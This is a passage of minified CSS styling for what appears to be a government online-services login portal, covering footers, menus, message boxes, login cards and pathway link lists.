a:hover,footer[role='contentinfo'] a:active,footer[role='contentinfo'] .non-transition-link:hover,footer[role='contentinfo'] .non-transition-link:active{color:#fff;background-color:#0f6493;text-decoration:none}footer[role='contentinfo'] a:hover .link-external,footer[role='contentinfo'] a:active .link-external,footer[role='contentinfo'] .non-transition-link:hover .link-external,footer[role='contentinfo'] .non-transition-link:active .link-external{background:#fff;border:2px solid #fff}footer[role='contentinfo'] .force-cursor{cursor:pointer}footer[role='contentinfo'] .see-more{display:inline-block;position:relative;margin-right:1.6em;font-weight:700;color:#333;color:red}footer[role='contentinfo'] .see-more::after{content:'';position:absolute;top:0;right:-1.2em;display:block;width:1.2em;height:1.2em;background-repeat:no-repeat;background-position:right .4em;background-size:.64em auto}footer[role='contentinfo'] .see-more:hover,footer[role='contentinfo'] .see-more:focus{color:#fff}footer[role='contentinfo'] span.placeholder-link{color:rgba(51,51,51,0.7);border-bottom:0;cursor:not-allowed}footer[role='contentinfo'] span.placeholder-link:hover{cursor:not-allowed}.link-arrow{display:inline-block;position:relative;color:#0f6493;text-decoration:none;margin-top:.8em;margin-bottom:.8em;outline:0;border-bottom:solid 1px #0f6493;-webkit-transition-timing-function:ease-in-out;transition-timing-function:ease-in-out;-webkit-transition-duration:.1s;transition-duration:.1s;-webkit-transition-property:background-color,border-color,color;transition-property:background-color,border-color,color}.link-arrow:after{content:'';position:absolute;top:0;right:-24px;display:block;width:1.3em;height:1.5em;background-repeat:no-repeat;background-position:right .4em;background-size:.64em auto;background-image:url("../icons/link-arrow.svg")}.link-arrow-down:after{content:'';display:inline-block;width:1em;height:1em;background-repeat:no-repeat;background-position-x:center;background-position-y:3px;background-image:url("../icons/chevron-down-solid.svg")}.link-arrow-up:after{content:'';display:inline-block;width:1em;height:1em;background-repeat:no-repeat;background-position-x:center;background-position-y:3px;background-image:url("../icons/chevron-up-solid.svg")}.link-arrow:hover,.link-arrow:active{color:#fff;background-color:#0f6493;text-decoration:none}.list-unstyled{list-style-type:none;padding-left:0}.list-unstyled li{margin-bottom:0}.list-unstyled input[type='radio']+label{padding-left:42px}.list-unstyled input[type='radio']+label::before{left:0}.list-unstyled input[type='radio']:checked+label::after{left:5px}.meta-info{font-size:16px;margin-top:1em}@media screen and (min-width:768px){.meta-info{margin-top:-0.5em;margin-bottom:-1em}}.meta-info__user{color:#333}@media screen and (min-width:768px){.meta-info__user{text-align:right}}.meta-info__timestamp{color:#666}@media screen and (min-width:768px){.meta-info__timestamp{text-align:right}}.meta-info__idpSts{color:#666}@media screen and (min-width:768px){.meta-info__idpSts{text-align:right}}.overlay{background:rgba(0,0,0,0.8);height:100%;position:fixed;top:0;width:100%}.timeoutWarning{background:#fff;left:0;margin:0 1em;max-width:400px;padding:1em;position:fixed;right:0;top:10%}@media screen and (min-width:576px){.timeoutWarning{margin:0 auto;width:100%}}.timeout-time{font-weight:bold}.global-menu{display:none}@media screen and (min-width:768px){.global-menu{display:inline-block;margin-top:2px;position:relative}}.global-menu ul{list-style-type:none;margin-bottom:0;padding:0;margin-top:80px;margin-bottom:16px}@media screen and (min-width:768px){.global-menu ul{margin-left:40px;position:relative;top:22px;margin-top:0}}.global-menu ul li{border-bottom:1px solid #fff;margin-bottom:0}.global-menu ul li:first-of-type{border-top:2px solid #fff}@media screen and (min-width:768px){.global-menu ul li:first-of-type{border-top:0}}@media screen and (min-width:768px){.global-menu ul li{border:0;display:inline-block;margin-right:24px}}.global-menu a{border-left:4px solid transparent;border-bottom:0;color:#fff;display:block;padding:12px 0 12px 12px;text-decoration:none;-webkit-transition:border-left .3s,background-color .1s;transition:border-left .3s,background-color .1s;font-weight:300}@media screen and (min-width:768px){.global-menu a{border-left:none;border-bottom:4px solid transparent;padding:12px 0;-webkit-transition:border-bottom .3s,background-color .1s;transition:border-bottom .3s,background-color .1s}}.global-menu a:hover,.global-menu a:focus{background:0;border-left-color:#d7ea6a;text-decoration:underline;-webkit-transition:border-left-color .3s,background-color .1s;transition:border-left-color .3s,background-color .1s;outline:0}@media screen and (min-width:768px){.global-menu a:hover,.global-menu a:focus{border-bottom-color:#d7ea6a;text-decoration:none;-webkit-transition:border-bottom-color .3s,background-color .1s;transition:border-bottom-color .3s,background-color .1s}}.global-menu a:focus{outline:0}.global-menu a:focus span{outline:3px solid #fff;outline-offset:2px;background-color:#01462c}.global-menu a:active span{background-color:#01462c;-webkit-transition:background-color .1s;transition:background-color .1s}.global-menu .is-current{border-left-color:#d7ea6a;font-weight:bold}@media screen and (min-width:768px){.global-menu .is-current{border-bottom-color:#d7ea6a}}.open-on-mobile+.global-menu{display:inline-block;width:100%}@media screen and (min-width:768px){.open-on-mobile+.global-menu{display:inline-block;width:auto}}.menu-hitbox{border:0;cursor:pointer;display:inline-block;height:2.75rem;left:0;margin:0;padding:0;position:absolute;width:3rem;color:white;top:19px}@media screen and (min-width:768px){.menu-hitbox{display:none;margin-top:0}}.menu-hitbox:hover .text,.menu-hitbox:focus .text{text-decoration:underline}.menu-hitbox:active{background-color:#01462c;-webkit-transition:background-color .05s;transition:background-color .05s}.menu-hitbox:focus{outline-color:#fff;outline-offset:8px}.triple-cheese-hamburger{background:0;border:0;cursor:pointer;display:inline-block;height:16px;left:0;margin:0 auto;padding:0;position:absolute;top:0;left:0;-webkit-transform:rotate(0deg);transform:rotate(0deg);-webkit-transition:.5s ease-in-out;transition:.5s ease-in-out;width:24px}.triple-cheese-hamburger span{background:#fff;border-radius:9px;display:block;height:2px;left:50%;position:absolute;-webkit-transform:rotate(0deg);transform:rotate(0deg);-webkit-transition:.25s ease-in-out;transition:.25s ease-in-out;width:100%}.triple-cheese-hamburger span:nth-child(1){top:0}.triple-cheese-hamburger span:nth-child(2),.triple-cheese-hamburger span:nth-child(3){top:8px}.triple-cheese-hamburger span:nth-child(4){top:16px}.open .triple-cheese-hamburger span:nth-child(1){left:100%;top:8px;width:0}.open .triple-cheese-hamburger span:nth-child(2){-webkit-transform:rotate(45deg);transform:rotate(45deg)}.open .triple-cheese-hamburger span:nth-child(3){-webkit-transform:rotate(-45deg);transform:rotate(-45deg)}.open .triple-cheese-hamburger span:nth-child(4){left:100%;top:8px;width:0}.triple-cheese-hamburger+.text{bottom:0;font-size:1rem;left:0;position:absolute;right:0;text-align:center;top:54%}.open-on-mobile+.global-menu li:focus,.open-on-mobile+.global-menu li:hover{background-color:#01462c}.open-on-mobile+.global-menu li:focus span,.open-on-mobile+.global-menu li:hover span{background-color:#01462c}.open-on-mobile+.global-menu li span{outline:0;background-color:#026540}.success-msg{background-color:#fff;border:2px solid #026540;border-left-width:48px;display:block;margin:1.4em 0;padding:.6em .6em .6em .6em;position:relative}.success-msg:before{background-image:url("../icons/success.svg");background-repeat:no-repeat;background-position:center center;content:'';display:inline-block;height:30px;left:-40px;position:absolute;top:50%;-webkit-transform:translateY(-50%);transform:translateY(-50%);width:30px}.success-msg success-msg-text{max-width:42em}.success-msg[data-dismiss]{padding:.6em 4em .6em .6em}.success-msg[data-dismiss] .dismiss{top:-4px;right:-4px}.success-msg a{display:inline}.success-msg p{margin:0;padding:2.5px 0}.error-msg{background-color:#fff;border:2px solid #b7202d;border-left-width:48px;display:block;margin:1.4em 0;padding:.6em .6em .6em .6em;position:relative}.error-msg:before{background-image:url("../icons/error.svg");background-repeat:no-repeat;background-position:center center;content:'';display:inline-block;height:30px;left:-40px;position:absolute;top:50%;-webkit-transform:translateY(-50%);transform:translateY(-50%);width:30px}.error-msg error-msg-text{max-width:42em}.error-msg[data-dismiss]{padding:.6em 4em .6em .6em}.error-msg[data-dismiss] .dismiss{top:-4px;right:-4px}.error-msg a{display:inline}.error-msg p{margin:0;padding:2.5px 0}.error-msg span{display:block;margin-bottom:1em}.info-msg{background-color:#fff;border:2px solid #0f6493;border-left-width:48px;display:block;margin:1.4em 0;padding:.6em .6em .6em .6em;position:relative}.info-msg:before{background-image:url("../icons/info.svg");background-repeat:no-repeat;background-position:center center;content:'';display:inline-block;height:30px;left:-40px;position:absolute;top:50%;-webkit-transform:translateY(-50%);transform:translateY(-50%);width:30px}.info-msg info-msg-text{max-width:42em}.info-msg[data-dismiss]{padding:.6em 4em .6em .6em}.info-msg[data-dismiss] .dismiss{top:-4px;right:-4px}.info-msg a{display:inline}.info-msg p{margin:0;padding:2.5px 0}.warning-msg{background-color:#fff;border:2px solid #f80;border-left-width:48px;display:block;margin:1.4em 0;padding:.6em .6em .6em .6em;position:relative}.warning-msg:before{background-image:url("../icons/warning.svg");background-repeat:no-repeat;background-position:center center;content:'';display:inline-block;height:30px;left:-40px;position:absolute;top:50%;-webkit-transform:translateY(-50%);transform:translateY(-50%);width:30px}.warning-msg warning-msg-text{max-width:42em}.warning-msg[data-dismiss]{padding:.6em 4em .6em .6em}.warning-msg[data-dismiss] .dismiss{top:-4px;right:-4px}.warning-msg a{display:inline}.warning-msg p{margin:0;padding:2.5px 0}span.success{color:#026540;display:block}.unsuccessful{color:#b7202d;font-weight:bold}fieldset.pin-fields.hasError{border:0}fieldset.pin-fields3.hasError{border:0}.hasError{border-left:solid 4px #b7202d;margin-left:3px;padding-left:15px}.hasError span.hasError{color:#b7202d;border:0;padding:0;margin:0;width:100%;font-size:1rem;clear:both;display:block}.hasError p.hasError{color:#b7202d;border:0;padding:0;margin:0;width:100%;font-size:1rem;clear:both;display:block}.hasError input{border:2px solid #b7202d}.hasError.pathway-link-item{border-left:solid 4px #b7202d}.hasInfo{border-left:solid 4px #0f6493;margin-left:3px;padding-left:15px;margin-bottom:1em;position:relative;max-width:42em}.hasInfo span.hasInfo{border:0;padding:0;margin:0;width:100%;font-size:1rem;clear:both;display:block}.hasInfo p{margin-top:.5em}.hasInfo--DI{border-left:solid 4px #0f6493;margin-left:3px;padding-left:15px;background-color:#ebf5fb;padding:1em 2em 2em 2em;margin:1em 0;position:relative;max-width:42em}.hasInfo--DI p{margin-top:.5em}.hasInfo--DI p a{display:unset}.hasLinkInfo{border-left:solid 4px #0f6493;margin-left:3px;padding-left:15px;display:block;margin-bottom:1em;position:relative;max-width:80em}.hasLinkInfo[role='region']{display:none}.hasLinkInfo span.hasLinkInfo{border:0;padding:0;margin:0;width:100%;font-size:1rem;clear:both;display:block}.hasLinkInfo p{margin-top:.5em}.outage{background-color:#f9eedc;-webkit-box-flex:0;-webkit-flex:0 0 auto;-ms-flex:0 0 auto;flex:0 0 auto;padding:8px 1em;position:relative}@media screen and (min-width:576px){.outage{padding:8px 2em}}.outage strong{color:#b7202d}.outage .expand{top:-6px;width:44px;height:44px;padding:0}.outage .expand--expanded{-webkit-transform:rotate(180deg);transform:rotate(180deg)}.outage .expand:focus{outline-offset:-3px}.outage p{display:inline;margin:0}.outage p:before{content:'';display:block}.outage p+p:before{margin-top:1em}.outage__inner{max-width:900px;margin:0 auto;padding:0 40px 0 40px;position:relative}.outage__inner:before{background-image:url("../icons/warning-filled.svg");background-repeat:no-repeat;background-position:center center;content:'';display:inline-block;height:30px;left:0;position:absolute;top:0;width:30px}.outage__content{max-height:1.7em;overflow:hidden;text-overflow:ellipsis;white-space:nowrap;margin-right:1em}.outage__content--expanded{max-height:none;overflow:visible;text-overflow:clip;white-space:normal}.pathway-link-list{padding-left:0;line-height:1.6em;margin-bottom:2.5rem;border-top:2px solid #333;border-bottom:1px solid #333;width:100%;margin-top:0}.pathway-link-list li{list-style:none;border-bottom:1px solid #999;margin-bottom:0}.pathway-link-list li:last-of-type{border-bottom:0}.pathway-link-item{padding:.8em 50px .8em .8em;background:0;border:0;display:block;color:#333;text-decoration:none;text-align:left;margin:0;outline:0;width:100%;position:relative;height:auto;font-size:1rem;word-wrap:break-word;overflow-wrap:break-word;-ms-word-break:break-word}.pathway-link-item .hasIssues{position:relative;width:60px;height:70px;float:right;background-image:url("../icons/error-filled.svg");background-repeat:no-repeat;background-position:top center;text-align:center}.pathway-link-item .hasIssues span{color:#b7202d;position:absolute;width:100%;top:40px;right:0;font-weight:bold;font-size:87.5%;display:inline-block}.pathway-link-item.isActive{border-left:6px solid #026540}.pathway-link-item.isActive .pathway-link-indicator{color:#026540;font-weight:700;display:inline-block}.pathway-link-item.isInactive .pathway-link-indicator{color:#b7202d;font-weight:700;display:inline-block}.pathway-link-item::after{background-image:url("../icons/chevron-right.svg");content:'';width:30px;background-repeat:no-repeat;background-size:auto 100%;position:absolute;height:30px;top:50%;right:0;-webkit-transform:translateY(-50%);transform:translateY(-50%)}.pathway-link-item:hover,.pathway-link-item:focus{background-color:#eee;color:#333}span.pathway-link-item:hover,span.pathway-link-item:focus{background-color:initial}.pathway-link-item:active{background-color:#ccc;color:#333}.pathway-link-item span{display:block}.pathway-link-item--service{display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-box-orient:horizontal;-webkit-box-direction:normal;-webkit-flex-direction:row;-ms-flex-direction:row;flex-direction:row;padding-right:.8em}.pathway-link-item--service::after{content:initial;background-image:none}.pathway-link-item--service .pathway-link-service{-webkit-align-self:center;-ms-flex-item-align:center;-ms-grid-row-align:center;align-self:center;-webkit-box-flex:1;-webkit-flex-grow:1;-ms-flex-positive:1;flex-grow:1}.pathway-link-item--service .pathway-link-service .extra-info{margin-top:.4em}.pathway-link-item--service .pathway-link-service .active{color:#026540;font-weight:700;display:inline}.pathway-link-item--service .pathway-link-service .inactive{color:#b7202d;font-weight:700;display:inline}.pathway-link-item--service .pathway-link-action{-webkit-align-self:center;-ms-flex-item-align:center;-ms-grid-row-align:center;align-self:center;margin-left:20px}.pathway-link-item--service .pathway-link-action>[class*=' button'],.pathway-link-item--service .pathway-link-action>[class^='button']{height:auto;line-height:1.6;padding:10px;width:auto}.pathway-link-item-disable{padding:.8em 50px .8em .8em;background:0;border:0;display:block;color:#333;text-decoration:none;text-align:left;margin:0;outline:0;width:100%;position:relative;height:auto;font-size:1rem;word-wrap:break-word;overflow-wrap:break-word;-ms-word-break:break-word}.pathway-link-item-disable span{display:block}.pathway-link-item-locked{padding:.8em 50px .8em .8em;background:0;border:0;display:block;color:#333;text-decoration:none;text-align:left;margin:0;outline:0;width:100%;position:relative;height:auto;font-size:1rem;word-wrap:break-word;overflow-wrap:break-word;-ms-word-break:break-word}.pathway-link-item-locked img{max-width:1em}.pathway-link-title{margin-top:0;font-size:1.125rem;font-weight:700;line-height:1.4}.pathway-link-title--disable{color:#767676}.pathway-link-title--locked{margin-left:1em}.pathway-link-description--disable{color:#767676}.final-pathway{padding:0;list-style-type:none;display:inline-block;width:100%;margin-top:0}.final-pathway li{border-bottom:1px solid #ccc;margin:0}.final-pathway li:nth-child(1){border-top:2px solid #333}.final-pathway li:nth-last-child(1){border-bottom:2px solid #333}.final-pathway li:nth-child(odd){background-color:#eee}.final-pathway li .pathway-link-item::after{background-image:none}.or-break{margin-top:10px;margin-bottom:10px}.service-pathway-link .pathway-link-item{padding-top:1.5em;padding-bottom:1.5em}.uikit-skip-link{font-family:-apple-system,BlinkMacSystemFont,"Segoe UI","Roboto","Oxygen","Ubuntu","Cantarell","Fira Sans","Droid Sans","Helvetica Neue",sans-serif;color:#333;line-height:1.6}.uikit-skip-link__link{position:absolute;width:1px;height:1px;padding:0;margin:-1px;overflow:hidden;clip:rect(0,0,0,0);border:0;color:black;background-color:white}.uikit-skip-link__link:active,.uikit-skip-link__link:focus{clip:auto;height:auto;margin:0;overflow:visible;position:absolute;width:auto;font-size:21px;top:.8em;left:.8em;padding:.4em .8em;color:#333;background-color:#fff;text-decoration:none;z-index:1}table{margin-bottom:1.6em}.content-table{width:100%;border-collapse:collapse}.content-table thead tr:first-of-type{background-color:#fff}.content-table tr:nth-child(odd){background-color:#eee}.content-table td,.content-table th{border-bottom:solid 1px #ccc;padding:.4em;text-align:left}@media screen and (min-width:768px){.content-table td,.content-table th{padding:.8em;font-size:initial}}.content-table thead{border-bottom:solid 2px #333}.alert-list{width:100%;padding-left:0;margin-top:0;border:1px solid #999;border-radius:.5em}.alert-list li{list-style:none;border-bottom:1px solid #999;margin-bottom:0}.alert-list li:last-of-type{border-bottom:0}.alert-item{padding:1em;display:block}@media screen and (min-width:768px){.alert-item{display:-webkit-inline-box;display:-webkit-inline-flex;display:-ms-inline-flexbox;display:inline-flex}}.alert-icon{display:-webkit-inline-box;display:-webkit-inline-flex;display:-ms-inline-flexbox;display:inline-flex;background-color:#bfe7f6;border:0;border-radius:.25em;height:2.5em;width:2.5em;padding:.5em;text-align:center;float:left;margin:0 1em 0 0}@media screen and (min-width:768px){.alert-icon{margin:auto}}.alert-icon img{max-width:1.5em}.alert-info{width:-webkit-fit-content;width:-moz-fit-content;width:fit-content}@media screen and (min-width:768px){.alert-info{margin:0 2em auto 1em}}.alert-link{vertical-align:middle;display:block;vertical-align:middle;text-align:left;width:-webkit-max-content;width:-moz-max-content;width:max-content}@media screen and (min-width:768px){.alert-link{margin:auto 1em auto 0;display:block;text-align:right}}.alert-link .alert-link-arrow{display:block;position:relative;text-decoration:none;outline:0;border-bottom:solid 1px #0f6493;-webkit-transition-timing-function:ease-in-out;transition-timing-function:ease-in-out;-webkit-transition-duration:.1s;transition-duration:.1s;-webkit-transition-property:background-color,border-color,color;transition-property:background-color,border-color,color;width:-webkit-max-content;width:-moz-max-content;width:max-content;margin-top:1.5em}@media screen and (min-width:768px){.alert-link .alert-link-arrow{margin-top:0}}.alert-link .alert-link-arrow:after{content:'';position:absolute;top:0;right:-1em;display:block;width:1.3em;height:1.5em;background-repeat:no-repeat;background-position:right .4em;background-size:.64em auto;background-image:url("../icons/link-arrow.svg")}.alert-link .data-alert-dismiss-button{margin-top:1.5em}.account-history-table th:first-of-type,.account-history-table td:first-of-type{border-right:1px solid #999}.account-history-table th{display:table-cell;border-style:none;width:initial}.account-history-table th:focus{outline:-webkit-focus-ring-color auto 5px}.account-history-table th>img{vertical-align:middle}.account-history-table td{vertical-align:top}.account-history-date,.account-history-time,.account-history-comment{display:block}.hr-word{width:100%;height:13px;border-bottom:1px solid #ccc;text-align:center;margin-top:.5em}.hr-word span{background-color:#eee;padding:0 10px}.hr-word-mapwap{width:100%;height:13px;border-bottom:1px solid #ccc;text-align:center;margin-top:1.5em}.hr-word-mapwap span{background-color:#fff;padding:0 10px}.unauth .anchor{background-color:#eee}.unauth .anchor:hover{background-color:#0f6493}.unauth .wap-anchor{background-color:transparent}.unauth .wap-anchor:hover{background-color:#0f6493}.unauth .showPassword{background-color:transparent}.unauth .showPassword:hover{background-color:#0f6493}.unauth .section-heading,.unauth #poro-form h2,#poro-form .unauth h2,.unauth #poro-form .display,#poro-form .unauth .display,.unauth .poro-form h2,.poro-form .unauth h2,.unauth .poro-form .display,.poro-form .unauth .display{padding-top:0}.unauth .wrapper{padding:0}.unauth .main-block{width:100%;margin:auto}.unauth .product-description .inner,.unauth .product-description .digital-id-inner{max-width:900px;margin-left:auto;margin-right:auto;padding:0 2em}@media screen and (min-width:992px){.unauth .product-description .inner,.unauth .product-description .digital-id-inner{padding:0;margin-left:30px}}.unauth .product-description .inner h1:first-of-type,.unauth .product-description .digital-id-inner h1:first-of-type,.unauth .product-description .inner p:first-of-type,.unauth .product-description .digital-id-inner p:first-of-type{text-align:center}@media screen and (min-width:992px){.unauth .product-description .inner h1:first-of-type,.unauth .product-description .digital-id-inner h1:first-of-type,.unauth .product-description .inner p:first-of-type,.unauth .product-description .digital-id-inner p:first-of-type{text-align:left}}.unauth .product-description .inner h1,.unauth .product-description .digital-id-inner h1{margin-top:36px}@media screen and (min-width:992px){.unauth .product-description .inner h1,.unauth .product-description .digital-id-inner h1{margin-top:0}}.unauth .product-description .digital-id-inner p:first-of-type{text-align:left}.unauth .product-description .digital-id-inner h2:first-of-type,.unauth .product-description .digital-id-inner .display:first-of-type{margin-top:0;padding-top:0}.unauth .product-description .digital-id-inner h2,.unauth .product-description .digital-id-inner .display{font-weight:600}.unauth .product-description .digital-id-inner hr{border-top:3px #999 dashed;margin:2em 0}.unauth .product-description ul{-webkit-columns:1;-moz-columns:1;columns:1;margin:0 auto;list-style-position:outside}@media screen and (min-width:768px){.unauth .product-description ul{-webkit-columns:2;-moz-columns:2;columns:2}}@media screen and (min-width:992px){.unauth .product-description ul{-webkit-columns:1;-moz-columns:1;columns:1}}.unauth .login-card-wrapper{background-color:#eee}@media screen and (min-width:992px){.unauth .login-card-wrapper{background-color:inherit}}.unauth .digital-id-main-login-card{margin:-1em auto -1em auto;padding:3px 1em 20px 1em}@media screen and (min-width:576px){.unauth .digital-id-main-login-card{padding:16px 1em 0 1em}}.unauth .digital-id-login-card-wrapper{background-color:#eee}.unauth .digital-id-login-card{background-color:#eee;padding:10px;max-width:465px;margin:0 auto 2em auto;padding:0 1em 1em 1em;text-align:center}@media screen and (min-width:576px){.unauth .digital-id-login-card{padding:16px 1em 20px 1em}}.unauth .digital-id-login-card .button-main{width:100%}.unauth .digital-id-login-card .identity-hub-info-text{background-color:#fff}.unauth .digital-id-login-card .identity-hub-info-text p{text-align:left;padding:10px}.unauth .digital-id-login-card:nth-child(2){padding:1em}.unauth .login-card,.unauth .digital-id-main-login-card{background-color:#eee;padding:10px;max-width:465px;margin:0 auto;padding:16px 1em 20px 1em}.unauth .login-card label .help-text,.unauth .digital-id-main-login-card label .help-text{display:block}.unauth .login-card a.login-link,.unauth .digital-id-main-login-card a.login-link{margin-bottom:1.5em}.unauth .login-card .in-message-link,.unauth .digital-id-main-login-card .in-message-link{display:inline}.unauth .login-card input,.unauth .digital-id-main-login-card input{margin-bottom:0}.unauth .login-card .button-main,.unauth .digital-id-main-login-card .button-main,.unauth .login-card .button-minor,.unauth .digital-id-main-login-card .button-minor{width:100%}.unauth .login-card .crest,.unauth .digital-id-main-login-card .crest{margin-bottom:20px;padding-bottom:20px}.unauth .login-card .crest img,.unauth .digital-id-main-login-card .crest img{width:180px;margin:0 auto;display:inherit;padding-top:6px}.unauth .wap-login-card{background-color:#fff;padding:10px;margin:0 auto;padding:16px 1em 20px 1em}.unauth .wap-login-card label .help-text{display:block}.unauth .wap-login-card a.login-link{margin-bottom:1.5em}.unauth .wap-login-card .in-message-link{display:inline}.unauth .wap-login-card input{margin-bottom:0}.unauth .wap-login-card .button-main,.unauth .wap-login-card .button-minor{width:100%}.unauth .wap-login-card .crest{margin-bottom:20px;padding-bottom:20px}.unauth .wap-login-card .crest img{width:180px;margin:0 auto;display:inherit;padding-top:6px}.unauth h1 .success-msg,.unauth h1 .error-msg,.unauth h1 .info-msg{font-size:1.5rem}.unauth h1 .success-msg-text,.unauth h1 .error-msg-text,.unauth h1 .info-msg-text{padding-left:10px}.unauth .centered{text-align:center;display:block}@media screen and (min-width:576px){.unauth .centered{text-align:left}}.unauth div.contained{max-width:42em;margin-top:20px}.unauth footer[role='contentinfo'] .wrapper{padding:0 1em}@media screen and (min-width:768px){.unauth footer[role='contentinfo'] .wrapper{padding:0 2em}}.section-group{padding-top:1em;padding-bottom:1em}.login-grid-container{width:100%}@media screen and (min-width:992px){.login-grid-container{margin-top:1em}}.login-grid-container .sign-in-banner{display:none}@media screen and (min-width:992px){.login-grid-container .sign-in-banner{display:block;margin-bottom:1em;font-weight:600}}.login-grid-row:before,.login-grid-row:after{display:table;line-height:0;content:""}.login-grid-row:after{clear:both}.login-grid-column{float:left;box-sizing:border-box;min-height:1px;position:relative;width:100%}@media screen and (min-width:992px){.login-grid-column{width:50%}}header[role='banner'].unauth .unauth-grid{width:100%;height:48px;margin-top:1em}header[role='banner'].unauth .unauth-grid .unauth-grid-row{margin-left:1em;margin-right:1em}@media screen and (min-width:576px){header[role='banner'].unauth .unauth-grid .unauth-grid-row{margin-left:2em;margin-right:2em}}@media screen and (min-width:992px){header[role='banner'].unauth .unauth-grid .unauth-grid-row{margin-left:0;margin-right:0}}header[role='banner'].unauth .unauth-grid .unauth-grid-row:before,header[role='banner'].unauth .unauth-grid .unauth-grid-row:after{display:table;line-height:0;content:""}header[role='banner'].unauth .unauth-grid a{border-bottom:0}header[role='banner'].unauth .unauth-grid .coat-arms{margin-top:4px}header[role='banner'].unauth .unauth-grid .header-logo.unauth{float:right;position:inherit;top:31px;margin-top:8px;width:90px}@media screen and (min-width:576px){header[role='banner'].unauth .unauth-grid .header-logo.unauth{float:left;margin-top:8px;width:112px}}@media screen and (min-width:768px){header[role='banner'].unauth .unauth-grid .header-logo.unauth{width:135px;margin-top:4px}}img#unauth-govt-crest{float:left;height:40px;margin-right:1em;color:#fff}@media screen and (min-width:576px){img#unauth-govt-crest{height:48px;margin-right:2em}}@media screen and (min-width:992px){img#unauth-govt-crest{margin-left:0;height:48px}}img#unauth-mygov-logo{float:right}@media screen and (min-width:576px){img#unauth-mygov-logo{float:left;color:#fff}}.header-logo-img{color:#fff}.header-logo-img:hover{text-decoration:underline!important}.unauth .login-card input,.unauth .digital-id-main-login-card input{margin-bottom:.5em}.divider{margin:1.5em 0;border-bottom:3px #999 dashed}.image-float-right{float:right}.mygovbeta-tip{overflow:auto}.tip-heading{margin-top:0!important;float:left;font-weight:500}.tip-text{float:left;width:60%}@media screen and (max-width:991px){.tip-heading{float:none;margin-top:0!important;text-align:center}.tip-text{float:none;width:100%;text-align:center!important}.image-float-right{display:block;margin:1.5em auto;float:none}.mygovbeta-tip{text-align:center}}.emergency-information{display:block;text-align:center;background-color:#fcb80e;color:#333;margin-bottom:0;padding:0;height:0}.emergency-information p,.emergency-information .emergency-text{display:inline}.emergency-information img{width:1em}.beta-information{height:auto;display:block;text-align:center;background-color:#66d3ee;color:#000}.beta-information p{padding-left:5px;padding-right:5px}.beta-information a{display:inline;color:#000;text-decoration:underline;border-bottom:0}.beta-information a:hover{background-color:#254a7e;color:#fff;text-decoration:underline}.mygovbeta-tip{overflow:auto}@media only screen and (max-width:992px){.mygovbeta-tip{text-align:center}}.tip-heading{float:left;font-weight:500}@media only screen and (max-width:992px){.tip-heading{float:none;margin-top:0!important}}.tip-text{float:left;width:60%}@media only screen and (max-width:992px){.tip-text{float:none;width:100%}}p.login-instruction-text{margin-left:10px}.sr-only{position:absolute;left:-10000px;top:auto;width:1px;height:1px;overflow:hidden}.wrapper-integration{padding:0}.wrapper-integration .welcome{max-width:400px;padding-left:1em;margin-left:auto;margin-right:auto}.wrapper-integration .welcome p{margin-top:0;margin-bottom:1.5em}@media screen and (min-width:576px){.wrapper-integration .welcome{max-width:600px}}@media screen and (min-width:992px){.wrapper-integration .welcome{padding-left:0}}.wrapper-integration .main-block{background-color:#eee;max-width:400px;margin-left:auto;margin-right:auto;padding:.5em 1em 1em 1em}@media screen and (min-width:576px){.wrapper-integration .main-block{max-width:600px;padding:.5em 2em 2em 2em}}.wrapper-integration-mapwap{padding:0}.wrapper-integration-mapwap h1:first-of-type{padding-top:1.5rem;margin-top:0}.wrapper-integration-mapwap .main-block{background-color:#eee;max-width:400px;margin-left:auto;margin-right:auto;padding:0 1em 3em 1em}@media screen and (min-width:576px){.wrapper-integration-mapwap .main-block{padding:0 2em 3em 2em;max-width:600px}}#integration-span{background-color:#eee}.account-info-group span{display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex}.account-info-group #account-info-label{margin-top:1.2em;margin-bottom:.4em}.account-info-group #account-info-detail{font-size:1em;overflow-wrap:break-word;display:block}@media screen and (min-width:320px){.account-info-group #account-info-detail{font-size:1.25em}}.account-info-group #account-info-detail-changeable{background:#ccc;display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-box-pack:justify;-webkit-justify-content:space-between;-ms-flex-pack:justify;justify-content:space-between;padding:.7em .5em}.account-info-group #account-info-detail-changeable div:first-of-type{overflow-wrap:break-word;width:48%}.unauth h1.login-vp{display:none}@media screen and (min-width:992px){.unauth h1.login-vp{display:block;font-size:2.25em;font-weight:400}}.unauth h2.login-vp,.unauth .login-vp.display{font-weight:500}.unauth .product-description-vp .inner,.unauth .product-description-vp .product-description .digital-id-inner,.unauth .product-description .product-description-vp .digital-id-inner{max-width:900px;margin-left:auto;margin-right:auto;padding:0 2em}@media screen and (min-width:992px){.unauth .product-description-vp .inner,.unauth .product-description-vp .product-description .digital-id-inner,.unauth .product-description .product-description-vp .digital-id-inner{padding:0;margin-left:30px}}.unauth .product-description-vp .inner .tips,.unauth .product-description-vp .product-description .digital-id-inner .tips,.unauth .product-description .product-description-vp .digital-id-inner .tips{text-align:center}.unauth .product-description-vp .inner .tips img,.unauth .product-description-vp .product-description .digital-id-inner .tips img,.unauth .product-description .product-description-vp .digital-id-inner .tips img{width:100%;height:auto;max-height:215px}@media screen and (min-width:576px){.unauth .product-description-vp .inner .tips img,.unauth .product-description-vp .product-description .digital-id-inner .tips img,.unauth .product-description .product-description-vp .digital-id-inner .tips img{width:30%}}.unauth .product-description-vp .inner .tips h2,.unauth .product-description-vp .product-description .digital-id-inner .tips h2,.unauth .product-description .product-description-vp .digital-id-inner .tips h2,.unauth .product-description-vp .inner .tips .display,.unauth .product-description-vp .product-description .digital-id-inner .tips .display,.unauth .product-description .product-description-vp .digital-id-inner .tips .display{position:relative}.unauth .product-description-vp .inner .tips span,.unauth .product-description-vp .product-description .digital-id-inner .tips span,.unauth .product-description .product-description-vp .digital-id-inner .tips span{display:inline-block;margin-top:1em}@media screen and (min-width:992px){.unauth .product-description-vp .inner .tips,.unauth .product-description-vp .product-description .digital-id-inner .tips,.unauth .product-description .product-description-vp .digital-id-inner .tips{text-align:left}.unauth .product-description-vp .inner .tips h2,.unauth .product-description-vp .product-description .digital-id-inner .tips h2,.unauth .product-description .product-description-vp .digital-id-inner .tips h2,.unauth .product-description-vp .inner .tips .display,.unauth .product-description-vp .product-description .digital-id-inner .tips .display,.unauth .product-description .product-description-vp .digital-id-inner .tips .display{float:right}.unauth .product-description-vp .inner .tips img,.unauth .product-description-vp .product-description .digital-id-inner .tips img,.unauth .product-description .product-description-vp 